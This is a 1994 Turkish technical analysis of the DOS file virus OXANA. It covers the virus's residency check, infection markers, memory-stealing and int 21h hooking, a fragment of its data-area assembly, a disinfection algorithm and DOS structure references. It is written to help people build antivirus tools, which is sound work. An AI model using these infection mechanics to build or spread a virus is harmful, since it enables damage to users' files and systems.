İlk dört work'lük veri bölgesinde EXE dosyanın orjinal EXE başlığındaki CS:IP ve SS:SP değerleri bulunuyor. Bu değerler EXE dosyaya bulaşırken yazılıyor, bulaşma sırasında virüsün bir parçası olarak kopyalanıyor ve işletim EXE dosyaya verilirken kullanılıyor.

ORIG_IP:

dw ?	; Orjinal EXE başlığında ilk IP

ORIG_CS:

dw ?	; Orjinal EXE başlığında ilk CS

ORIG_SS:

dw ?	; Orjinal EXE başlığında ilk SS

ORIG_SP:

dw ?	; Orjinal EXE başlığında ilk SP

Daha sonraki üç byte içerisinde virüsün COM dosyaya bulaşırken, değiştirerek COM programın başına yazdığı yakın JMP komutu bulunuyor.

JMPTOV:

db 0eah	; near JMP komutu

JMPOFS:

dw ? 	; COM dosya için hesaplanan virüs ofseti

Buradaki 24 byte çeşitli amaçlarla kullanılıyor. İlk dört byte virüsle beraber kopyalanıyor, ilk 561 byte içerisinde kalıyor. Bu 24 byte'a virüs bulaşmadan önce dosyanın ilk 24 byte'ını kopyalıyor.

Bu bölgenin 4 byte'ı bulaşma sırasında kopyalandığında, EXE dosyalar için EXE imzası MZ ve yeni yarım sayfa uzunluğunu tutuyor, COM dosyalar içinse virüsün işletimi COM programa verirken yerine koyacağı ilk üç byte + gereksiz 1 byte tutuyor. Görüleceği gibi bu 4.byte'ın hiçbir durumda bulaşma sırasında kopyalanmasına gerek yok, ancak herhalde virüs yazarı bu bölgeyi DW ile tanımladığı için, ya da basit bir hatadan dolayı bu fazla byte da kopyalanıyor.

EXE dosyaya bulaşma sırasında bu 24 byte'taki orjinal değerler ORIG_XX değişkenlerine kopyalandıktan sonra, gerekli değişiklikler yapılıyor ve bu bölge yeni EXE başlığı olarak kopyalanıyor. COM programa bulaşma sırasında bu bölge kullanılmıyor. Ancak dosyadan ilk 24 byte okunduktan sonra ilk word'deki değer dosyanın tipini belirlemek için kontrol ediliyor.

EXE_SIGN:

dw ?

LASTPAGE:

dw ?

---- 561 byte sınırı ----

ALLPAGES:

dw ?

dw ?

SIZEHEAD:

dw ?

dw ?

dw ?

INIT_SS:

dw ?

INIT_SP:

dw ?

dw ?

INIT_IP:

dw ?

INIT_CS:

dw ?

Son olarak iki word'de eski int 24h vektörü tutuluyor.

OFS24:

dw ?

SEG24:

dw ?


Önsöz

Anti virüs programı yazabilmek için virüsleri bilmek gerekir. Peki, virüsler nereden öğrenilir?

Öncelikle bu dosyadaki virüs kodunun bilgisiz birisi tarafından sadece yazılarak bir virüse dönüşmesinin mümkün olmadığını hatırlatmalıyız. Kitaplarda ve dergilerde basılmış gerçek kaynak kodlarının yanısıra kaynak kodlarını herkesin kullanımına açmış virüs yazarları ve hatta virüs yazan programların, ve hatta ve hatta virüslerin kendilerini şifrelemelerini sağlayan yazılımların bulunduğu bir dünyada, bu dosyadaki kadar bilginin zararlı olduğunu iddia etmek gülünç olacaktır.

Bilgi çağında bilgiyi saklayamazsınız. Örneğin tüm şifreleme algoritmları, devletlerin kullandıkları dahil, açıklanmıştır. Güvenlikleri bu noktadan sonra ölçülür. Virüsler hakkındaki bilgiler ise tabanca gibidir, virüs yazmak için de kullanılabilir, anti virüs yazmak için de. Burada iki nokta önemli: Birincisi, virüs yazmak çok zor bir iş değil, istekli yeni bir programcı bile virüsünü kısa sürede yazabilir. Virüs yazmak bazen sanıldığı gibi fazla bilgi ya da zeka gerektirmez. İkincisi virüslerle ilgilenmemiş, virüs yazmayı düşünmemiş, bir programcının virüslerle savaşabilmesi için yeterli bilgisi büyük olasılıkla olmayacaktır. Virüsleri hiç bilmezseniz programınızda virüslere karşı en ufak önlemi dahi alamazsınız. Her programcının (database'cileri bu anlamda programcıdan saymıyoruz) virüslerin yapısını en azından bilmesi gerekebilir.

Virüsler hakkında yazılmış kitapların çoğu son kullanıcıya yönelik. Hatta bu son kullanıcıya yönelik kitaplardan bazılarında yayınlanan virüs kaynak kodları bugüne kadar oldukça fazla zarar vermiş durumda... Dergilerdeki kısa yazılardan ise bir anti virüs programı yazmaya yetecek kadar bilgi almak zor.

Yurtdışında virüs araştırmacıları birbirleriyle bilgi alışverişinde bulunuyor. Türkiye'de de örneğin bir bilgisayar dergisi okuyucusundan gelen 'anti virüs yazmak istiyorum, bana elinizdeki virüs örneklerini gönderebilir misiniz?' isteğine olumlu cevap verebiliyor. Belki hatırlarsınız, anti virüs programları piyasası oluşmaya başladığında, toplam 40 kadar virüs bilinirken, ikinci nesil daha gelişmiş virüsler ortaya çıkmaya başladığında, anti virüs programı yazarları yeni virüsler yazmak ve piyasayı canlı tutmakla suçlanmıştı. Bugün de kesin olarak 'bu suçlama asılsızdı' diyemiyoruz. Yani, bilgiyi kimden saklayacaksınız, kime verceksiniz, buna kim karar verecek belli değil!

Bu tür iddiaları bir kenara bırakırsak virüsleri kim, niye yazar, hiç düşündünüz mü? Hiç tanımadığı bir insana ya da kuruluşa zarar vermek isteyen bir insanın akli dengesi yerinde sayılabilir mi... Ancak bilinen virüslere baktığınızda oldukça ilginç bir tabloyla karşılaşıyorsunuz: Virüslerin çoğu gerçek bir zarar verme amacıyla yazılmamış, hatta bir çoğu, burada inceleyeceğimiz OXANA da dahil, bulaşmak ve çoğalmak dışında hiç birşey yapmıyor. Bunlar da diğerleri kadar zararlı, herşeyi bir kenara bıraksak bile ufak bir programlama hatası sonucu zararsız olarak tasarlanmış ancak oldukça fazla zarar vermeyi başaran virüsler var. Yine de 'amaçsız' olarak tasarlanmış virüsler bize virüs yazarının motivasyonu hakkında fikir verebilir. Bu insanlar, tahminimizce toplam yazarların en az yarısı, en basit ifadesiyle, sadece virüsü yazmış olmak ve bu yolla egolarını tatmin etmek için virüs yazıyorlar.

Eğer virüslerin 'sırları' herkesçe bilinirse, en azından ulaşılabilir olursa, yazarların bu kesiminin yazmayı bırakacağını ya da bu motivasyonla virüs yazan yeni insanların ortaya çıkmayacağını tahmin ediyoruz. Virüs yazabilmek herkes tarafından yapılabilir, önemsiz ve ilginç olmayan bir işe dönüştüğünde kendini ispatlamak için virüs yazanlar kalmayacak ve belki de virüsler başımızı daha az ağrıtacaktır.

Bu çerçevede hazırlanmış 'Bir Virüsün Anatomisi' ile virüsler hakkında bilgi verecek serimizin ilkiyle (ve eğer yeterli desteği göremezsek sonuncusuyla) karşınızdayız. Buradaki bilgiler tümüyle programcıya hitap etmektedir ve konu olan virüs haricinde virüslerle ilgili genel bilgi niteliğinde değildir.

Yararlı olması dileğiyle...

Ağustos 1994

Burak KALAYCI

GoRGoN ltd.


0.0 Giriş

İlerleyen sayfalarda bir virüsün kodunun ayrıntısıyla incelemesini bulacaksınız.

İncelenen virüs, Oxana, bir parazit dosya virüsü... PC Magazine Türkiye'nin bir yazarı aracılığıyla bu virüsle boğuşan bir firmadan virüsün ilk kopyasını elde ettik. İki gün içerisinde ilk incelemelerimizi bitirip, bir anti virüs programını firmaya ilettik. Neden anti virüs programını kendimizin yazdığını merak edebilirsiniz. Elimizdeki hiçbir anti virüs programı bu virüsü göremedi de ondan. Ancak daha sonra PC World Türkiye dergisinin Programlama Sanatı disket dergisinde yayınlanan Recep Tezkol'un PSAV 2.0 anti virüs programının bu virüsü tanıdığını ve temizlediğini gördük. Bu programın dökümanından bu virüsün Türk Uğur Mumcu virüsünün bir varyantı olduğu ve dergiye virüsü ilk ileten kişinin virüse 'OXANA' adını verdiğini öğrendik.

Uğur Mumcu'nun yanısıra başka Türk orjinli virüsler de mevcut. Bu virüslerin belli başlı yabancı anti virüs yazılımı üreticilerine ulaşması, programlarına eklenmesi ve bu programların Türkiye'de kullanıma girmesi oldukça zaman alıyor. Ayrıca yurt dışında fazla yaygın olmayan virüsler için bu üreticiler inceleme ve yazılım yenileme konusunda isteksizler, hele Türkiye gibi yazılımların yasal yoldan çok korsan olarak kullanıldığı bir ülke için... Elbette kesin çözüm Türk anti virüs yazılımlarının, en azından Türk virüsler kadar bir gelişme içerisinde olması.

Bu dosyadaki bilgilerin henüz doğum aşamasında sayılabilecek Türk anti virüs yazılım sektörüne, Türkçe ve ayrıntılı sayılabilecek bir kaynak olarak katkı sağlamasını bekliyoruz. Burada virüsler hakkında çok genel bilgiler yok, sadece bir virüs inceleniyor ama tabi ayrıntıya girmek de mümkün oluyor.

İşin doğrusu henüz ne virüs ne de anti virüs yazarak para kazanmak mümkün... Kişisel ilgi eksikliğinde bu dosyadaki bilgilerin virüslere has pek çoğunu, normal ticari düşünen bir firma ya da programcı öğrenmek gereği duymayacaktır. Doğrudan anti virüs yazmak isteyenler içinse hemen hemen hiç kaynak yok...

Bu noktada birazdan içine gireceğiniz OXANA'nın size yararlı olmasını diliyoruz...

Kullanım hakkında

Genel olarak bu dosyayı basılı bir döküman gibi kullanabilirsiniz. Yukarıda en sonda gördüğünüz BROWSE (gözat, << ve >>) düğmeleriyle tüm sayfalara sırasıyla erişim mümkün. Ayrıca kurulmuş hyper text bağlantılarından yararlanabilirsiniz. Bir programcı olarak bu dosyanın kullanımında bir zorlukla karşılaşacağınızı sanmıyoruz...

'Bug'lar

Elbette, hele bu dosyanın ilk revizyonunda, elimizden gelenin en iyisini yapmaya çalıştıysak da, hatalarımız olmuştur. Bu dosyadaki bir hata dolayısıyla oluşabilecek dolaylı veya dolaysız zararlar için üzüleceğiz, ancak sorumluluk kabul etmiyoruz. Eğer bulacağınız hataları ya da tavsiyelerinizi bize bildirirseniz seviniriz. (Tel/fax:(216)347-8705)

Bizi destekleyin

Her ne kadar bu dosya para kazanma hırsıyla yazılmamışsa da bu konudaki çalışmalarımızın devam edebilmesi sizden maddi olarak göreceğimiz desteğe bağlı. Bu dosya içeriği için sizden para talep etmiyoruz ancak bizi desteklemek isterseniz, ve ekonomik durumunuz elverişli ise, buradaki bilgilere biçtiğiniz değerde bir yardımı (faturalı) kabul edebiliriz. Her durumda eğer bu dosyadaki bilgiler işinize yarıyorsa, bu bilgileri kullanıyorsanız, dosyadaki hatalardan ve bu konudaki diğer çalışmalarımızdan sizi haberdar edebilmemiz için bize isim, telefon ve adresinizi bildirmeniz yararlı olacaktır.

Bu dosyada geçen tüm hakkı saklı isimlerin hakları sahiplerine aittir.


0.1 Virüsün genel özellikleri

İsterseniz önce virüsün genel özelliklerine bir gözatalım.

Tipi:

Parazit belleğe yerleşik dosya virüsü (EXE ve COM)

Virüsün belleğe yerleşik olduğunu anlama yöntemi:

Int 21h fonksiyon 43h alt fonksiyon 43h'in, AX = 3434h döndürmesi. Bu yöntem Windows (for Workgroups 3.11) DOS kutusunda çalışmıyor, bu durumda virüs her çalıştığında bellek azalıyor.

Virüsün COM dosyaya bulaşmış olduğunu anlama yöntemi:

Dosyanın ilk üç baytında dosya uzunluğu-561 adresine bir yakın atlama komutunun bulunması. (komutun ilk byte'ı kontrol edilmiyor) Boyu 55000'den büyük COM dosyalara bulaşmıyor.

Virüsün EXE dosyaya bulaşmış olduğunu anlama yöntemi:

EXE başlığında IP=0000

Belleğe yerleşme yöntemi:

Bellek kontrol blokları yardımıyla bellek sonundan 35h paragraf çalarak kendisini kopyalıyor. Int 21h'e normal int 21h fonksiyonuyla takılıyor.

Ne zaman bulaşıyor:

Int 21h fonksiyon 4Bh alt fonksiyon 00h (load and execute) ile çalıştırılmak istenen dosyalara bulaşıyor.

Korunma tedbirleri:

Dosyanın salt okunur olma özelliğini kaldırıyor, bu yapılamazsa program kitleniyor. Kritik hataları bulaşma işlemleri sırasında 'ignore' ediyor. Dosya tarihini değiştirmiyor.

Virsün amacı:

Yok. Varlığının yarattığı zararlar dışında virüsün sabit diski formatlamak gibi bir amacı yok.

Virüs uzunluğu::

561 byte.

Virüsün dosya boyunda yaptığı artış:

561 byte (COM) 561+1..16 byte (EXE)

Virüsün olası zararları:

Belleği azaltmak, sistem kilitlenmesi, dosya boylarının uzamasıyla disk alanının işgali, virüsün yaptığı fazladan işlemler için zaman kaybı, olası bir hatada dosya kayıpları, Window'un çalışmasında etkiler(?), EXE dosyalarda tümüyle onarılamaz değişiklikler, bazı dosyaları kullanılmaz hale getirmek, bulaştığı salt okunur dosyaların bu özelliğini kaldırmak...


0.2 Virüsün genel yapısı

Virüsü yapı olarak ikiye ayırmak mümkün:

1. Virüsü belleğe yerleştiren ve bulaşmış olduğu programın çalışmasını sağlayan kısım (İncelememizde 1-3. bölümler)

2. Bellekte yerleşikken çalışan ve bulaşmayı gerçekleştiren int 21h fonksiyonu ve yardımcı prosedürler. (İncelememizde 4-6 bölümler)

Bulaşma

Bulaşma işlemini kabaca 2 kısım olarak düşünebiliriz.

1. Virüsün 561 byte'ının çalıştırılabilir programın arkasına kopyalanması.

2. Çalıştırılabilir programın başının değiştirilerek ilk olarak virüs kodunun işletilmesinin sağlanması

İşleyiş

Virüsün işleyişini, gene kabaca, aşağıdaki gibi düşünebiliriz:

...

Virüslü bir program çalıştırılıyor.

İşletim virüse geçiyor.

Virüs kendini belleğe yerleştiriyor ve int 21h'e takılıyor.

İşletim orjinal programa veriliyor.

...

Virüssüz başka bir program çalıştırmak için int 21h çağrılıyor.

Int 21h ile bir program çalıştırılmak istendiğinde işletim yerleşik virüse geliyor.

Virüs programa bulaşıyor.

Gerçek int 21h'e, virüs tarafından, kontrol geri veriliyor.

Int 21h (yeni enfekte olmuş) programı çalıştırıyor.

İşletim dosyadaki virüse geçiyor.

Virüs zaten bellekte olduğu için belleğe yerleşme yapmıyor.

İşletim orjinal program koduna veriliyor.

...

Bu kadar önbilgiden sonra virüsün kodunu ayrıntılı olarak incelemeye hazır sayılırız...


2. Bölüm
Ekler


A Virüsün temizlenmesi hakkında...
A - Virüsün temizlenmesi hakkında

Bu dosyada anti virüs tekniklerine hiç girilmemesine rağmen, OXANA bulaşmış bir dosyanın eski haline getirilme işleminin bir algoritmasını buraya eklemeyi uygun bulduk.

Aklınızda bulunsun: Buradaki algoritma OXANA'dan sonra dosyaya başka bir virüs bulaşmış olması durumunu gözönüne almamaktadır. Algoritma sadece bulaşmanın geri döndürülmesi hakkında genel bilgi için verilmiştir.

EXE dosya için:

1. 	Virüslü EXE dosyayı aç.

2.	İlk 12 word EXE başlığını oku

3.	File pointer'ı dosya uzunluğu - 15 byte'a getir.(seek)

4.	4 word orjinal değerleri oku.

5.	EXE başlığı 11. word <-  orjinal değerler 1.word

6.	EXE başlığı 12. word <-  orjinal değerler 2.word

7.	EXE başlığı 8. word <-  orjinal değerler 3.word

8.	EXE başlığı 9. word <- orjinal değerler 4.word

9.	File pointer'ı dosya boyu - 562 byte'a getir. (seek)

10.	Dosyaya 0 byte yaz. (truncate)

11.	EXE başlığı 3. word <- (yeni) dosya uzunluğu / 16

12.	EXE başlığı 2. word <- (yeni) dosya uzunluğu mod 16

13.	EXE başlığı 2. word <>0  =>  EXE başlığı 3. word <-  EXE başlığı 3. word + 1

16.	File pointer'ı dosya başına getir. (seek)

17.	Değiştirilmiş EXE başlığını (12 word) dosyaya yaz.

18.	Dosya tarihini al.

19.	Dosya tarihine alınan değeri yaz.

20.	Dosyayı kapat.

Not: EXE dosyalarda yarım sayfa uzunluğu değeri kaybedildiği ve dosyaya 1 ile 16 arasında sayısı bilinmeyen byte eklendiği için, EXE dosyanın, bulaşmadan önceki haline dönmesi için yeterli bilgi yok. (Dosyanın virüssüz uzunluğu biliniyorsa, bu kullanılabilir) En az bir byte eklendiği için bu da dosyadan çıkartılıyor. Eklenen 'çöp' byte'ların EXE başlığında oluşturduğu değişiklik ve kendi varlıklarından başka dosya orjinal haline gelecektir. Ayrıca virüssüz uzunluğu 16'ya bölündüğünde 15 kalanını veren dosyalar tümüyle orjinal hallerine dönecektir.

COM dosya için:

1.	Virüslü COM dosyayı aç

2.	File pointer'ı dosya uzunluğu - 4'e getir.(seek)

3.	3 byte oku.

4.	File pointer'ı dosya başına getir. (seek)

5.	Okunan 3 byte'ı yaz.

6.	File pointer'ı dosya uzunluğu - 561'e getir. (seek)

7.	Dosyaya 0 byte yaz. (truncate)

8.	Dosya tarihini al.

9.	Dosya tarihine alınan değeri yaz.

10.	Dosyayı kapat.


B Virüsün kullandığı sistem veri yapıları
B - Virüsün kullandığı sistem veri yapıları

Virüsün kullandığı sistem veri yapıları ARENA, PSP ve EXE HEADER (EXE başlığı)aşağıda referans olarak verilmiştir. Yapı tanımlamalarında DOS prog.Ref.6.0'ın isimlendirmeleri kullanılmıştır.

ARENA (Memory Control Block):

ARENA

arenaSignature	db  ?	;4dh ya da  5ah son MCB

arenaOwner	dw  ?	;Bellek sahibinin PSP segmenti

arenaSize	dw  ?	;Paragraf cinsinden tanımlanan bellek uzunluğu

arenaReserved	db  3 dup(?)	;Daha sonra kullanım için ayrılmış.

arenaName	db  8 dup(?)	;Bellek sahibinin dosya ismi

ARENA   ENDS

arenaSignature

MCB'nin tanımlanması için kullanılır. Burada 4dh ya da 5ah'tan başka bir değer MCB'nin bozulduğu anlamına gelecek ve sistem kitlenecektir. Son MCB için bu alan 5ah diğerleri için 4dh olacaktır.

arenaOwner

Bu alanda tanımlanan bellek bloğunun sahibinin PSP segment adresi bulunur. Eğer belleğin sahibi yoksa değeri 0 olacaktır. Sistemin sahibi olduğu bloklar için bu değer 8 olacaktır.

arenaSize

Bu alanda paragraf  (1 paragraf=16 byte) cinsinden tanımlanan bellek uzunluğu bulunur. Tanımlanan bellek arena'dan hemen sonra başlayacaktır.

arenaReserved

Bu alan hakkında bilgi verilmiyor. Bilindiği kadarıyla kullanılmıyor.

arenaName

Bu alanda bellek sahibinin ASCIZ dosya adı bulunuyor (sadece çalıştırılan programlar için! Int 21h fonksiyon 48h ile bellek bloğu tanımlandığında bu alan kullanılmıyor), yani eğer dosya ismi 8 harften kısaysa sonuncu harften sonra 0 karakteri kullanılıyor. Dosya isminden sonra kalabilecek boş alan kullanılmıyor. Bu alanda 'SC', DOS tarfından sistem kodu ve 'SD' de sistem verisi anlamında kullanılıyor.

PSP (Program Segment Prefix):

PSP

pspInt20	dw ?	;Int 20h komutu

pspNextParagraph	dw ?	;Bir sonraki bellek segmenti

db ?	;ayrılmış, kullanılmıyor.

pspDispatcher	db 5 dup(?)	;MS_DOS'a uzun çağrı

pspTerminateVector	dd ?	;eski Int 22h

pspControlCVector	dd ?	;eski Int 23h

pspCritErrorVector	dd ?	;eski Int 24h

dw 11 dup(?)	;açıklanmamış (1)

pspEnvironment	dw ?	;environment'ın segment adresi

dw 23 dup(?)	;açıklanmamış (2)

pspFCB_1	db 16 dup(?)	;ilk FCB #1

pspFCB_2	db 16 dup(?)	;ilk FCB #2

dd ?	;ayrılmış

pspCommandTail	db 128 dup(?)	;komut satırı ve ilk DTA)

PSP     ENDS

pspInt20

Bu alanda INT 20h komutuna karşılık gelen 0CDh 20h değerleri eski DOS versiyonlarıyla uyumluluk nedeniyle bulunuyor. Buradaki komut CP/M'den DOS'a geçişte kolaylık sağlanması için konulmuş. COM program yüklenirken yığıta 0 değeri konuluyor. Böylelikle RET komutu ile bu alandaki int 20h komutuna atlanıyor ve program sonlanıyor.

pspNextParagraph

Bu alanda programdan sonraki ilk programa ait olmayan belleğin segmenti bulunuyor. Buradaki değer boş bellek bölgesini göstermiyor, sadece bu değeri kullanarak programlar çalışmaları için yeterli bellek ayrılıp ayrılmadığını kolayca anlayabiliyorlar.

pspDispatcher

Bu alanda MS_DOS function-request handler'a bir CALL komutu bulunuyor. Bu alan da CP/M'den DOS'a geçişi kolaylaştırmak için kullanılmış ve artık sadece eski DOS versiyonlarıyla uyumluluğu sağlamak için bulunuyor.

pspTerminateVector

Bu alanda sonlanma adresi.(int 22h vektörü) bulunuyor. Program sonlandığında bu adres ile int 22h vektörü güncelleniyor. Yani bir program bu vektörü (bu alanı değil) değiştirse bile sonlandığında vektör eski haline getiriliyor. Programlar bu vektörü daha sonra eski haline getirme endişesi taşımadan yönlendirebilirler.

pspControlCVector

Bu alanda CTRL-C kesilme adresi.(int 23h vektörü) bulunuyor. Program sonlandığında bu adres ile int 23h vektörü güncelleniyor. Yani bir program bu vektörü (bu alanı değil) değiştirse bile sonlandığında vektör eski haline getiriliyor. Programlar bu vektörü daha sonra eski haline getirme endişesi taşımadan yönlendirebilirler.

pspCritErrorVector

Bu alanda kritik hata kesilme adresi.(int 24h vektörü) bulunuyor. Program sonlandığında bu adres ile int 24h vektörü güncelleniyor. Yani bir program bu vektörü (bu alanı değil) değiştirse bile sonlandığında vektör eski haline getiriliyor. Programlar bu vektörü daha sonra eski haline getirme endişesi taşımadan yönlendirebilirler.

açıklanmamış (1)

Bu alan şöyle tanımlanabilir:

pspParent	dw ?

pspOFT	db 20 dup(?)

pspParent alanında bu programın ebeveyninin PSP segment adresi bulunuyor. Örneğin, burada programı çalıştıran Command.com'un PSP segmenti bulunabilir.

pspOFT, Open File Table'ı (açık dosya tablosu) barındırıyor. Programın açtığı dosyaların handle'ları bu alanda bulunuyor. 0FFh değeri kullanılmıyor anlamında. Bir program bu tablonun yerini değiştirerek (Bu işi yapan int 21h fonksiyonu mevcut) aynı anda açık tutabileceği dosya sayısını arttırabilir. Aksi halde bir program tarafından en fazla 20 dosya açık durumda bulunabilir ki bunlara standart STDIN,STDOUT... dahil. Ancak açık bulunabilecek toplam dosya sayısı, bu tablo büyüklüğü ne olursa olsun, Config.sys'de belirtilen FILES= ile sınırlı.

pspEnvironment

Bu alanda programın environment bloğunun segment adresi bulunuyor.

açıklanmamış (2)

Bu alan bilindiği kadarıyla şöyle:

dd ? ; programın son int 21h kesilmesinden önceki SS:SP değeri

dw ? ; Maksimum açık dosya sayısı.

dd ? ; OFT adresi. (açık dosya tablosu)

db 36 dup(?) , Bilinmiyor.

pspFCB_1

1. FCB'nin ilk 16 byte'ı. Sadece eski DOS versiyonlarıyla uyumluluğu sağlamak için bulunuyor.

pspFCB_2

2. FCB'nin ilk 16 byte'ı. sadece eski DOS versiyonlarıyla uyumluluğu sağlamak için bulunuyor.

pspCommandTail

Programın komut satırı. Ayrıca değiştirilmezse program DTA (Disk Transfer Area) olarak burayı kullanacaktır.

EXE başlığı:

EXEHEADER

exSignature	dw 5A4Dh    ;.EXE imzası

exExtraBytes	dw ?	; yarım sayfadaki byte sayısı

exPages	dw ?	; yarım + tam sayfaların sayısı

exRelocItems	dw ?	; yeniden yerleştirme tablosundaki işaretçi sayısı

exHeaderSize	dw ?	; başlığın paragraf cinsinden uzunluğu

exMinAlloc	dw ?	;ayrılması gereken en az bellek paragrafı

exMaxAlloc	dw ?	;ayrılması gereken en çok bellek paragrafı

exInitSS	dw ?	;ilk SS değeri

exInitSP	dw ?	;ilk SP değeri

exCheckSum	dw ?	;kontrol toplamı

exInitIP	dw ?	;ilk IP değeri

exInitCS	dw ?	;ilk CS değeri

exRelocTable	dw ?	;yeniden yerleştirme tablosunun ofseti

exOverlay	dw ?	;overlay numarası

EXEHEADER ENDS

(Burada, exOverlay ile yeniden yerleritirme tablosu arasında, Overlay yöneticisinin kullanacağı bilgiler bulunabilir)

Bu yapıyı yeniden yerleştirme tablosu (relocation table) izliyor.

exSignature

EXE başlığını ve dolayısıyla EXE dosyayı tanımlar. Bu alanda  5A4Dh ('MZ') değeri olmalıdır. Not : Bazı EXE dosyalar için bu değer yanlışlıkla 4D5Ah olarak verilmiştir.

exExtraBytes

Yarım sayfadaki byte sayısı (= Dosya uzunluğu mod 512). Not: Bazen buradaki değer için (Dosya uzunluğu - EXE başlığı uzunluğu) mod 512 formülü kullanılmaktadır. Ancak bu tür dosyalarda da tam sayfa sayısı aşağıdaki gibi hesaplanmaktadır.

exPages

Bu alanda dosyadaki yarım ve tam sayfaların toplam sayısı bulunuyor. Tam sayfaların sayısı dosya uzunluğu/16'ya eşit. Eğer bölmede bir kalan olursa bu yarım sayfa var anlamına geliyor, bu kalan exExtraBytes alanına yazılıyor. Eğer yarım sayfa uzunluğu (bölmede kalan) 0 ise, yarım sayfa yok anlamında bu alandaki sayıya eklenmiyor. Örneğin 512 byte bir dosyada  1 tam ve 0 yarım sayfa olacak, bu alanda 1 sayısı bulunacaktır. 513 byte bir dosyada ise 1 tam ve 1 tane 1 byte uzunluğunda yarım sayfa bulunacak ve bu alanda 2 değeri bulunacaktır.

exRelocItems

Bu alanda yeniden yerleştirme tablosundaki işaretçi (pointer) sayısı bulunuyor.

exHeaderSize

Bu alanda paragraf cinsinden EXE başlığının uzunluğu bulunuyor.

exMinAlloc

Bu alanda program belleğe yüklendikten sonra program için ayrılması gereken en az bellek miktarı paragraf cinsinden bulunuyor. Eğer exMaxAlloc ve exMinAlloc alanlarının ikiside 0 ise program olabildiğince yüksek bellek bölgesine yüklenecektir.

exMaxAlloc

Bu alanda program tarafından yüklendikten sonra kendisine ayrılmasını istediği en fazla bellek miktarı paragraf cinsinden bulunuyor. Eğer exMaxAlloc ve exMinAlloc alanlarının ikiside 0 ise program olabildiğince yüksek bellek bölgesine yüklenecektir.

exInitSS

Bu alanda SS yazmacının program çalıştırılırken alacağı ilk değeri için yeniden yerleştirilebilir segment değeri bulunuyor. Bu değer kullanılmadan önce yeniden yerleştiriliyor. Yani değere PSP segmenti + 10h paragraf cinsinden PSP uzunluğu ekleniyor.

exInitSP

Bu alanda SP yazmacının program çalıştırılıken alacağı ilk değeri bulunuyor.

exCheckSum

Bu alanda dosyanın kontrol toplamı bulunuyor. Bu değer, bu değer hariç, dosyadaki tüm 16 bit word'lerin toplamının ones complement'ine eşit. Her ne kadar bu değer dosyadaki değişiklikleri bulmak için kullanılabilir olsa da gözlemlediğimiz kadarıyla pek kullanılmıyor, yani bu sayı değiştirldiğinde biz bir hata oluştuğunu göremedik. Not: Bazı kaynaklarda bu toplamın sadece EXE başlığı için yapıldığı belirtilmiş.

exInitIP

Bu alanda IP yazmacının program çalıştırılıken alacağı ilk değeri bulunuyor.

exInitCS

Bu alanda CS yazmacının program çalıştırılırken alacağı ilk değeri için yeniden yerleştirilebilir segment değeri bulunuyor. Bu değer kullanılmadan önce yeniden yerleştiriliyor. Yani değere PSP segmenti + 10h paragraf cinsinden PSP uzunluğu ekleniyor.

exRelocTable

Bu alanda dosya başından itibaren yeniden yerleştirme tablosuna olan byte cinsinden uzaklık saklanıyor. (Yeniden yerleştirme tablosu ofset değeri)

exOverlay

Bu alanda overlay yönetimiyle ilgili bir sayı bulunuyor. Eğer bu alan 0 değerindeyse bu EXE dosyanın ana program olduğunu belrtiyor. Bu alandan sonra overlay yönetimine bağlı olarak başka bilgiler bulunabilir.


GoRGoN hakkında
C - GoRGoN hakkında

'Donup kalacaksınız...'

Kısa ve öz: hizmetinizdeyiz.

Adresimiz:

GoRGoN ltd.

Rıhtım cad. İzzettin sok.

3/1 Kadıköy İstanbul

Telefon ve faks numaramız:

(216)347-8705

Ocak-Haziran 94 itibarı ile kendi üretimimiz olan yazılım ürünlerimiz:

GoRGoN Mahmu kalfa

Windows 3.1, PCL812PG düşük hızda veri toplama

GoRGoN Manto

Windows 3.1 Mantık bulmacası yardımcı programı

GoRGoN WB Takke (sadece $25)

Windows 3.1, Creative Wave Blaster ses editörü

Haziran 94 itibarı ile yanlış yazımlarımız:

GORBON (Kesinlikle en popüler yanlış yazım, GORBON IŞIL?)

GORDON (Flash Gordon'u bilenler tercih ediyor...)

GEOCAN (Blippo fontu ile düzenlenmiş logomuzu okumaya çalışanlar...)

GARGON (Herhalde telefonda kendi aldığı notu yanlış okuyanlar...)

GOORGON (İki 'O' ile yazılıyor diye uyarılanlar...)

Firmamızın adını doğru yazanları niye özellikle kutlamak zorunda kaldık? Kuru fasulye ile pilaki isterseniz, garson kuru fasulye ile pilav getirirmiş. Sanıyoruz bu hataların temelinde daha evvel GORGON kelimesini duymamış olmak yatıyor...

Bir soru...

GoRGoN'un ne anlama geldiğini belki siz de bilmiyorsunuz, sözlüğü açıp bakmaya ne dersiniz? (İpucu: Yılan saçlı ve gözlerine bakanı taş kestiren Medusa, üç gorgondan birisi, ölümlü olanıdır.)

Garip ama gerçek:

PC World PS disketi arabiriminin yazarını kadrosunda bulunduran GoRGoN, PC Magazine'nin bedava disketlerinin de arabirimini yazdı. Geçtiğimiz aylarda ise Windows Help için böyle bir diskette kullanılmak üzere yazdığımız bir DLL görücüye çıktı. Uzaktan bakıldığında GoRGoN'un üzerinde en çok uzmanlaştığı konu 'disket arabirimleri'ymiş gibi gözüküyor!...

Saygılarımızla,

GoRGoN ltd.


GoRGoN ltd.

Rıhtım cad. İzzettin sok

3/1 Kadıköy İstanbul

(216)347-8705


Sonsöz

Oxana'yı beraberce inceledik ve umarız size virüsleri anlamak konusunda faydalı olabildik. Gördük ki, Oxana, bellekte yerleşik kalabiliyor ve iki tür çalıştırılabilir dosyaya da bulaşabiliyor. Bu yönleriyle Oxana için ilkel demek yanlış olur, ancak unutmayın virüs hata kontrolu yapmıyor, çoğu yerde zarar verebilecek, bir anlamda yeterince iyi yazılmamış koda sahip, bunların yanında ne kendisini şifreliyor, ne anti virüs programlarına karşı bir önlem alıyor ne de kendisini saklamak için prosedürleri var... Yani Oxana için ilkel demesek de çok basit bir virüs olduğunu söyleyebiliriz...

Elbette virüsleri anlamak için basitten başlamak yararlı olacaktır. Şimdi, diyelim ki, yeni bir virüsü inceliyorsunuz ve AND CL,0FEh komutuna rastgeldiniz. Artık biliyorsunuz ki bu komut 60% olasılıkla dosyanın salt okunur (read only) özelliğini kaldıran komuttur...

Yeni bir virüs anatomisinde buluşabilmek dileğiyle...